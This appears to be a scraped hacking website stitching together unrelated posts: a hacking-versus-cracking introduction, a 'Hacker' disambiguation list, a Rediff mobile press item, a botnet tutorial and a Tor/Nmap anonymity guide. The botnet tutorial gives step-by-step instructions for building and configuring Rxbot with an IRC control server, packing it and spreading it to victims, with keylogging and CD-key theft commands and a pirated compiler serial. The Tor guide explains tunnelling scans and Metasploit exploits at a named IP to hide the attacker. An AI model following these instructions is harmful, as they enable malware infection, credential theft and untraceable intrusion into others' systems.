HACKING WEBSITE

Hacking → Introduction

What is hacking?

Hacking used to be defined as "One who is proficient at using or programming a computer; a computer buff." However, this use has been turned around now, to mean that of a cracker - "One who uses programming skills to gain illegal access to a computer network or file." This information is about this second meaning, cracking. Before we begin I would like to point out that hackers HATE crackers, crackers have given them a bad name.

The main differences between the two are that hackers try to make things, crackers try to break things. Hackers made the Internet what it is today. Hackers program websites (among other things) and they do not try and harm the work of others as is thought in todays society. However, as the word hacker is now in such popular use that it is thought it means cracker - I will use the words hacking and cracking for describing these cracking methods.

Hacking is not a simple operation or sequence of commands as many people think. Hacking is a skill. To hack you must change and adapt your approach depending on the obstacles you come across. Hacking is not a specific term, there are many types of hacking. On this site I will discuss and explain the different types of hacking and demonstrate some basic tools.

---

Why hack?

Some people, known as crackers, get a kick out of harming people, their work, and their websites. But the real hackers get a kick out of programming, improving and helping the web, the difference is enormous. Crackers sometimes hack into websites in order to prove they can - that is sad. Cracking is a term also given to those who try to break software in order to make them free or distribute them, this is the same group of sad people.

---

What are the different types of hacking?

There are three main types:

1. Hacking into hidden or password protected pages of a website.
2. Hacking into other people's computers while they are online.
3. Hacking into company servers to read important information or distribute viruses.

---

Which is worse?

Although they are all illegal Number 1 is the least serious and the most commonly practised. This is because it is so easy and some areas are legal. There are also many tools on the internet which encourage these practices. If you are making your own website then the "Protect your website" section will be of particular interest.

---

Where is hacking illegal?

Hacking is illegal in most countries because of the invasion of privacy which can occur from hacking. The other main issue is damage, either manually or through viruses. Deleting specific files can render a computer useless in a matter of minutes. There are some countries or states which do not press charges for hacking because they consider it just another advance in computer technology. However, even if you live in a state where hacking is legal (which is unlikely), unless the company, website, or indivual is based in that country you must abide by international rules.

---

Why do people hack?

To most there appears to be no reason why hackers should spread viruses and try and destroy companies' computers merely because they can. However it is clear that hackers enjoy what they do. There are a number of hacking tournaments around the world each year and during these tournaments companies monitor there systems 24 hours a day. Recently there was a Hackers Challenge lasting 6 hours.

---

Is hacking servers always the same?

It's is easier to hack Windows than Linux and easier to hack with Linux. This is because Linux is designed to allow the user to issue any commands they want to. Most companies install firewalls and virus filters to try and prevent hackers from breaking in.

Hacking → Website Hacking

Introduction


There are two types of website hacking:

1. Hacking to break into password protected sections of the website. (Often Illegal)
2. Hacking so that you can modify or deform a website. NOTE: Criminal Offence

Website Hacking is not uncommon. It is simply trying to break into a site unauthorised. Webmasters can use encryption to prevent this. However, as most website programmers do not use encryption their websites are easy targets. Methods of protection include javascript, asp, php and cgi, but most other server-side languages can also be used. I will show you how to hack websites which use javascript protection.

Javascript protection has never been secure, if you are looking at the source to find the password to client-side protection, you will probably not have any problem finding the password unless it is encrypted. Follow the steps below so that you can understand the basics of hacking websites.

Recently 2 dummy bank sites were launched, the first totally insecure and the second was secured with a firewall. 8 weeks later, both sites were checked. The first without a firewall, averaged a hacking attempt every four minutes, the second, with a firewall, averaged an attack every hour. This just goes to prove how malicious some hackers are.

On this website you will find nothing of such a malicious nature. Building positive white hat hacking skills is a good thing and we encourage it, as do we helping you protect your own site, but bad hat hackers should find a better hobby.

Read More

Hacker may refer to:

Computing and technology

• Hacker (computing) has a spectrum of meanings:
  
  • Hacker (computer security), someone who crashes computers and network security, a hacker
  • Hacker (free and open source software), a programmer in the free software and open source movement
  • Hacker (hobbyist), an enthusiastic home computer hobbyist.
  
  

Similar meanings in other fields are:

• Media hacker, someone who uses the media in new ways
• Reality hacker, similar to a computer hacker, but hacks the "real world"
• Wetware hacker, one who experiments with biological materials
• Somebody who generally works 'outside the box'.

Entertainment

• Hackers: Heroes of the Computer Revolution a 1984 book by Steven Levy.
• Hacker (computer game), a 1985 computer game by Activision
• Hacker (card game), a 1992 publication of Steve Jackson Games, which led to the establishment of the Electronic Frontier Foundation during the fiasco documented in Steve Jackson Games, Inc. v. United States Secret Service
• Hackers (film), a 1995 film written by Rafael Moreu and directed by Iain Softley

People named Hacker

[edit] Real

• Sally Hacker (1936–1988), feminist sociologist
• Alan Ray Hacker (b. 1938), English clarinettist
• Peter Hacker (b. 1939), British philosopher
• George Hacker (20th century), U.S. lawyer, head of the Alcohol Policies Project
• Marilyn Hacker (b. 1942), American poet, critic, and reviewer
• The Hacker (Michel Amato, b. 1972), French electroclash and techno producer

Fictional

• Jim Hacker, the title character of Yes Minister
• J. Random Hacker, the mythical/archetypal hacker nerd
• Hacker, a character of the TV series Cyberchase
• Sgt. Charley Hacker, a character on the series Gomer Pyle, U.S.M.C.
• Hacker, Doc Terror's cyborg sidekick in the animated series Centurions

Other definitions

Hacker may also refer to:

New York street sign, c. 1963

• Hacker (folklore), a mythological race in Scandinavian folklore
• A mediocre golfer ^[1]
• Someone who practises casual equestrianism, in particular trail riding
• A person skilled in the creation of a hack (masonry)
• A musician who plays out of turn or shows off constantly
• A player of NetHack, and other rogue-like games
• Hacker and hack are also terms for a taxicab driver (from the shortened form of hackney carriage).
• A brewery which merged with Pschorr in 1972, now the Hacker-Pschorr Brewery, and the beer it produces.
• In basketball a player with limited defensive ability and is prone to fouling.

See also

• Hack (disambiguation)
• Hacking (disambiguation)

References

1. ^ Sue Montgomery (Sunday, 17 February 2008), The Hacker: I might be off my trolley but being a caddy is certainly my bag, <http://www.independent.co.uk/sport/golf/the-hacker-i-might-be-off-my-trolley-but-being-a-caddy-is-certainly-my-bag-783323.html> 

Read More

Rediff.com Goes Mobile

Offering Indian mobile phone users a near web like experience of Rediff.com services on their mobile handsets the company has gone live with its mobile client application 'MobileRediff'. This mobile application allows mobile phone users to check latest news updates, access popular Rediff.com services and enjoy real-time access to Rediffmail. These services are integrated into one common application that can be downloaded to mobile phones.



The simple interface of the service allows users to preview email attachments, share files as attachments from mobile phones and also enables users to back up their mobile phone contacts onto the Rediffmail address book. This application also allows users to send and receive Hindi language email and SMS messages. Users can also access and download SMS based content services like ringtones, wallpapers, caller back tones and jokes.

Commenting on the initiative, Uday Sodhi Senior Vice President Interactive services Rediff.com said, "With MobileRediff application we have focused on offering mobile phone users a simple and easy to use interface to access popular Rediff.com's webservices We believe that the ease of use and functionality of the MobileRediff application will appeal to mobile users across India and help make Rediff.com accessible to millions of consumers around the country who do not have access to personal computers."



MobileRediff application is compatible with all leading GPRS enabled mobile handsets and can be accessed at mobile.rediff.com. Users can also download the client directly onto their mobile devices by sending an SMS to 57333. Users can also log on to http://mr.rediff.com for a demo of the application and its functionality.

Read More

How To Create And Compile Botnets To Autohack 1000ds of Systems

 i found a nice tut that helps u with the basics of the botnets

In addition to Rxbot 7.6 modded in this tutorial, you can also use another good source. It is rx-asn-2-re-worked v3 is a stable mod of rxbot and it is 100% functional and not crippled. If you want to download it, you can below:



Download

Compiling is the same as it would be with Rxbot 7.6. I prefer this source but it would ultimately be best to compile your own bot/get a private one.



Q:What is a botnet?

A: A botnet is where you send a trojan to someone and when they open it a "bot" joins your channel on IRC(secretly, they don't know this)Once done the computer is now refered to as a "zombie".

Depending on the source you used, the bot can do several things.

I myself have helped write one of the most advanced and secure bot sources out there.

(Off topic)

But once again depending on the source you can :

Keylog their computer, take picutes of their screen, turn on their webcam and take pics/movies, harvest cdkeys and game keys or even cracks, passwords, aim screen names, emails, you can also spam, flood, DDoS, ping, packet, yada yada, some have built in md5 crackers, and clone functions to spamm other irc channels and overrun a channel and even perform IRC "Takeovers".

Once again depending on the bot it may be able to kill other fellow competeter bots.

Or even kill AV/FW apon startup.

Add itself to registry.

Open sites.

Open commands.

Cmd,

notepad,

html,

Anything is possible !



Theres the infected computers "bots" the attacker, the server, and the victim.

Quote:

while the term "botnet" can be used to refer to any group of bots, such as IRC bots, the word is generally used to refer to a collection of compromised machines running programs, usually referred to as worms, Trojan horses, or backdoors, under a common command and control infrastructure. A botnet's originator (aka "bot herder") can control the group remotely, usually through a means such as IRC, and usually for nefarious purposes. Individual programs manifest as IRC "bots". Often the command and control takes place via an IRC server or a specific channel on a public IRC network. A bot typically runs hidden, and complies with the RFC 1459 (IRC) standard. Generally, the perpetrator of the botnet has compromised a series of systems using various tools (exploits, buffer overflows, as well as others; see also RPC). Newer bots can automatically scan their environment and propagate themselves using vulnerabilities and weak passwords. Generally, the more vulnerabilities a bot can scan and propagate through, the more valuable it becomes to a botnet controller community.



Suspects in the case used the Randex worm to establish a 30,000 strong botnet used to carry out "low profile DDoS attacks" and steal the CD keys for games, he explained. "They had a huge weapon and didn't use as much as they could have done," Santorelli told El Reg. "The main damage caused in the case is down to the cost of cleaning up infected PCs."

Botnets are being used for Google Adword click fraud, according to security watchers.



Now enough with all the quotes. As you can see, you can do anything with a botnet. Anything is possible. This is my bot and tutorial. You can host your bots on irc on a public server but I would recommend a private, password protected server. I will setup bots for people if they have something to offer.

---------------

Ignore anything about using the server editor but this tutorial show how to make an irc channel and spread bots:

Download tutorial



-----------------------------

Here we go ladies and gentlemen

Follow the tutorial:

-----------------------------



I. Setting up the C++ compilier: (easy)



1. Download Microsoft Visual C++ 6.0 Standard Edition (63.4 mb)

Mirror 2

Mirror 3 Direct

Pass: itzforblitz

Serial: 812-2224558



2. Run setup.exe and install. Remember to input serial



3. Download and install the Service Pack 6 (60.8 mb)



4. After that Download and install:



Windows SDK (1.2 mb)

Mirror 2

Mirror 3

Pass: itzforblitz

-------------------------------------



II. Configuring the C++ compilier (easy)



1. Open up Microsoft Visual C++ Compilier 6.0

2. Go to Tools > Options and Click the "Directories" tab

3. Now, browse to these directories and add them to the list: (Click the dotted box to add)

Quote:

C:\PROGRAM FILES\MICROSOFT PLATFORM SDK

C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\BIN

C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\INCLUDE

C:\PROGRAM FILES\MICROSOFRT PLATFORM SDK\LIB

4. Now put them in this order: (use up and down arrows)





(it does not matter whats below those lines)

---------------------------------------



III. Configuring your bot: (easy)



1. Download and unpack:

Rxbot 7.6 (212.3 kb)

Mirror 2

Mirror 3



2. You should see an Rxbot 7.6 folder

3. Open the Rxbot 7.6 > configs.h folder and edit these lines only:

Quote:

Put in quotations:

char password[] = "Bot_login_pass"; // bot password (Ex: monkey)

char server[] = "aenigma.gotd.org"; // server (Ex: irc.efnet.net)

char serverpass[] = ""; // server password (not usually needed)

char channel[] = "#botz_channel"; // channel that the bot should join

char chanpass[] = "My_channel_pass"; // channel password



Optional:

char server2[] = ""; // backup server

char channel2[] = ""; // backup channel

char chanpass2[] = ""; //Backup channel pass

-----------------------------------

IV. Building your bot: (very easy)



1. Make sure Microsoft Visual C++ is open

2. Select "File > Open Workspace"

3. Browse to your Rxbot 7.6 folder and open the rBot.dsw file

4. Right Click "rBot Files" and click Build:





5. rBot.exe will be in the Rxbot 7.6 > Debug folder !!!



YOUR DONE !!!! Now get the rbot and pack it (Use tool in third post and open rbot and click "Protect" and send it to some idiots, Follow tutorial on top to learn how to spread. Some good ways are: Torrents, AIM, Friends, Myspace, School computers, and P2P but there are more ways. ENJOY !

-------------------------------------

Command list

Download Command list



Basics:

.login botpassword will login bots

.logout will logout bots

.keylog on will turn keylogger on

.getcdkeys will retrieve cdkeys.

Read command list for more

-----------------------------------

Download mIRC



mIRC

Mirror 2

Mirror 3

--------------------------------------------------------------------------------------------

How to secure your bots:



Don't be an ~censored~, it is easy to steal bots. All you need is the irc server address and maybe a key.

To steal bots, watch for the @login key one must upload their bot to a direct link (tdotnetwork is execellent)

and update the channel topic and run:

Quote:

@update http://www.mybot.com/download/SMSPRO.exe 82

The http://mybot.com is your bot's download link and the 82 can be any number(s)

Now steal their bots and have them join your channel

To find the server address you need their botnet. Then take their bot and open it in the server editor. Address will be shown and so will password and other needed information.



To secure your self:



It is fairly easy to secure your bots, here is how:



1. When you are in your right click on your chat window and select "Channel Modes"

2. Make sure these options are checked:







This way no one besides you or another op can set the channel topic

Note: Setting "Moderated" is good for when you are not there because anyone who is not voiced (+v) or and op (+o) cannot talk. They will still log in and follow commands however there will be no output.

------------------------------------------------------------------------

Good IRC Servers:



I would recommend running your botnet on a private server.

If you would like to setup a botnet on a certain server, do not intrude and make one. Talk to the admin and make sure he know that the IRC server is not doing anything illegal. If an Admin refuses, don't get angry. It is his/her server after all

Read More

How To perform Anonymous Port scanning using Nmap and Tor

Tor is a network of virtual tunnels that allows people and groups to improve their privacy and security on the Web. It also permits developers / researchers to generate new communication tools with built-in privacy features. Tor provides the foundation for a range of applications that permit organizations and individuals to share information over public networks without compromising their privacy

The Onion Router [TOR] is an excellent work towards defending online privacy. As of with every debate about exploitation frameworks, security tools, vulnerability disclosures such projects have also been victim of criticism, and debates of potential abuse that they may cause and the dangers of teaching individuals a dangerous and potentially illegal craft and a ‘secure’ channel to hide their online presence. But lets face it, the bad guys already know about it (that is the reason they’re bad ‘eh). However although these channels of misuse and abuse do exist and they cannot be ignored, still the merits of it will always outweigh the harm black community may cause.

Regrettably in the country I live in even most of the senior know-how people I meet / see / have a chance to work with, don’t even have a clue of online privacy or security of their information.

Privacy is every individuals right, and is as important as any other basic human need. You will seldom require somebody tracking your IP, spywares tracing your network activity, and the next time you try to experiment with something, you receive a disagreeable small e mail from an ISP admin that you were doing so-and-so. I am by no way TEMPTING you to do something wrong. Its all about your morale and motivation : ) , the small how-to below is a kick starter for getting started with TOR and experimenting with some stuff securely. Interested ? move on, but don’t go about emailing me that this stuff like this is illegal to be posted and ought to be removed.

The problem

A basic issue for the privacy minded is that the recipient of your communication / conversation or even otherwise can see that you sent it by taking a look at the IP headers, or worse trace the whole path. And so can authorized intermediaries like ISPs, govt. organizations etc, and sometimes unauthorized intermediaries as well. A very simple type of network traffic analysis might involve sitting somewhere between sender and recipient on the network (man-in-the-middle), taking a look at headers.

But there's also more powerful kinds of packet analysis. Some attackers spy on multiple parts of the Web and use sophisticated statistical techniques to track the communications patterns of plenty of different organizations and individuals. Encryption does not help against these attackers, since it only hides the content of Web traffic, not the headers (VPN ? duh!!) .

The solution:

A distributed, anonymous, secure network

To reduce the risks of both simple and sophisticated traffic analysis by distributing your web traffic over several places / servers, so no single point can link you to your location helps defending your privacy. Its like taking a zig-zag random, hard to follow path to deceive somebody who is tracing you (what the heroes usually do against the villain in action films : ) ) , then periodically erasing your footprints. In lieu of taking a direct route from source to location, information packets on TOR take a random pathway through several servers that cover your tracks so no observer at any single point can tell where the information came from or where it is going.

TOR incrementally builds a circuit of encrypted connections through servers on the network which is extended one hop at a time, and each server along the way knows only which server gave it information and which server it is giving information to. No individual server ever knows the whole path that a knowledge packet has taken. The client negotiates a separate set of encryption keys for each hop along the circuit to make positive that each hop cannot trace these connections as they pass through.

Two times a circuit has been established any information can be exchanged and because each server sees no over one hop in the circuit, neither an eavesdropper nor a compromised server can use traffic analysis to link the connection's source and location.

Tor only works for TCP streams and can be used by any application with SOCKS support.

to experiment and write this small how-to, I setup a server on the Web that I desired to scan from my home network using Nmap, Nessus, and metasploit from my bacttrack suite installed in a VM. Here are the steps I followed to launch the scan / exploitation method by Tor:

A. Installing TOR: Detailed instructions can be viewed on the net site.

B) Download socat .This gizmo is an excellent multipurpose relay and will permit to setup a local TCP listener that will tunnel my connections by the Tor SOCKS server (listening on 9050).

Unfortunately socat comes only on bsd and *nix systems. To make use of TOR on windows I would recommend using Privoxy, or better installing the whole TorCP bundle.



Let us assume that the IP address of the host I desired to scan was 202.163.97.20

I invoked socat:

[talha@localhost#] ./socat TCP4-LISTEN:8080,fork SOCKS4:127.0.0.1: 202.163.97.20:80, socksport=9050

The above command causes socat to listen on port 8080, and tunnel all incoming connections to 202.163.97.20 (port 80) by the Tor SOCKS server.

For using on windows you will need to:

1. Install privoxy

2. permit HTTP CONNECT requests by 80 through your firewall

3. Browse to http://config.privoxy.org/show-status

C. I assume Nmap, Nessus and metasploit are already installed and running. If not you can find the detailed instrucations on respective website.

D. Launch an nmap connect or nessus scan against 127.0.0.1 port 8080. Configure Nessus to limit the scan to port 8080 in the “Scan Options” tab.

Here are a quantity of the entries in my Apache log that were a result of the scan:

212.9.32.5 - - [10/Jul/2005:17:29:56 -0700] "GET /Agents/ HTTP/1.1" 404 205 "-" "Mozilla/4.75 [en] (X11, U; Nessus)"

212.9.32.5 - - [10/Jul/2005:17:29:56 -0700] "GET /cgi-bin/viewpic.php?id=7&conversation_id=&btopage=0 HTTP/1.1" 404 217 "-" "Mozilla/4.75 [en] (X11, U; Nessus)"

212.9.32.5 - - [10/Jul/2005:17:29:57 -0700] "GET /index.php?err=3&email= HTTP/1.1" 404 207 "-" "Mozilla/4.75 [en] (X11, U; Nessus)"

212.9.32.5 - - [10/Jul/2005:17:29:57 -0700] "GET /scripts/fom/fom.cgi?cmd=&file=1&keywords=nessus HTTP/1.1" 404 217 "-" "Mozilla/4.75 [en] (X11, U; Nessus)"

212.9.32.5 - - [10/Jul/2005:17:29:58 -0700] "GET /scripts/viewpic.php?id=7&conversation_id=&btopage=0 HTTP/1.1" 404 217 "-" "Mozilla/4.75 [en] (X11, U; Nessus)"

212.9.32.5 - - [10/Jul/2005:17:29:58 -0700] "GET /Album/ HTTP/1.1" 404 204 "-" "Mozilla/4.75 [en] (X11, U; Nessus)"

212.9.32.5 - - [10/Jul/2005:17:29:59 -0700] "GET /fom/fom.cgi?cmd=&file=1&keywords=nessus HTTP/1.1" 404 209 "-" "Mozilla/4.75 [en] (X11, U; Nessus)"

212.9.32.5 - - [10/Jul/2005:17:29:59 -0700] "GET /cgi-bin/wiki.pl? HTTP/1.1" 404 213 "-" "Mozilla/4.75 [en] (X11, U; Nessus)"

The 212.9.32.5 IP address represents the host that is the last onion router in the random circuit that was setup by the Tor program

Simlarly two times you discover a vuln in a remote technique, setup another instance of socat: Say for simplicity you are exploiting a webserver (port 80).

[talha@localhost#] ./socat TCP4-LISTEN:1234,fork SOCKS4:127.0.0.1: 202.163.97.20:80,

In metasploit when launching the exploit, set the target IP to 127.0.0.1 and remote port to 1234. Its that simple eh.

The above instructions may even be used to exploit program flaws in order to anonymously execute arbitrary commands on vulnerable hosts.



Some pieces of advice:

1. Nmap makes use of something that generates packets by the raw packet interface so the packets connect directly to the target, not by Tor. For example:

Doing a connect() scan (TCP) will work with Tor but using something like -sS connects directly to the target, revealing your true address.

2. Nmap & Nessus will often ping a target so see if it is up before doing a port scan. This is usually completed by raw ICMP packet's, ICMP won't traverse the Tor network (since its not TCP) and will reveal your true address.

In the usage of socat, socks4 does client side DNS. So you resolve a target host name by DNS from your machine not by the Tor network proxies.

Hence it is impossible to leak your source IP because you tell your scanner to make use of 127.0.0.1 as the target IP . Therefore, nmap / nessus has no host name to resolve, and in case you do forget to tell your scanner not to bother with ICMP pings, you will finish up pinging yourself – not the target directly.

Staying anonymous

Tor cannot solve all anonymity issues. It focuses only on defending the transport of information. You will need to make use of protocol-specific support program in case you don't require the sites you visit to see your identifying information. For example, you can use web proxies such as Privoxy and open relays while web browsing to block cookies and withhold information about your browser type ident.

Be clever. Don't provide your name or other revealing information in web forms. Be aware that, like all anonymizing networks that are fast for web browsing, Tor does not provide protection against end-to-end timing assaults: If your attacker can watch the traffic coming out of your computer, and also the traffic arriving at your selected location, they can use statistical analysis to discover that they are part of the same circuit.

The Electronic Privacy Information Centre (EPIC) lists down a comprehensive list which servers as a sampling of best available privacy enhancing tools.

Read More